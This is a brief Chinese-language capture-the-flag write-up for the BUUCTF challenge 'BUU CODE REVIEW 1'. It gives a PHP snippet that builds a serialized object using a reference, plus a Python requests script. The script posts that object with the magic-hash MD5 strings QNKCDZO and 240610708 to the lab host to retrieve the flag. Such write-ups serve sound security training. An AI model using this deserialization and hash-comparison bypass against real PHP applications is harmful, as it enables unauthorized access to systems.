反序列化漏洞
进入靶机是这个样子
首先进行分析后
看最后一行那个函数unserialize,判断反序列化
然后用post方法传obj变量,利用反序列化漏洞
这里要进行一个判断,就是buu类中的correct和input内容强相等,这里利用传引用的方法
到http://c.runoob.com/compile/1
运行下列代码
<?php
class BUU {
public $correct="";
public $input="";
}
$obj = new BUU();
$obj->input = $obj->correct;
echo serialize($obj);
?>
编写脚本:
import requests
with requests.post(url="http://c934396b-xxxx-xxxx-xxxx-62bbeee14c98.node3.buuoj.cn/?pleaseget=1",
data={
"pleasepost": "2",
"md51": "QNKCDZO",
"md52": "240610708",
"obj": """O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}"""
}
) as req:
print(req.text)
with open("BUU CODE REVIEW 1.html", "w", encoding=req.apparent_encoding) as f:
f.write(req.text)
python运行:
提交flag
或者直接用Firefox自带的工具HackBar运行也可以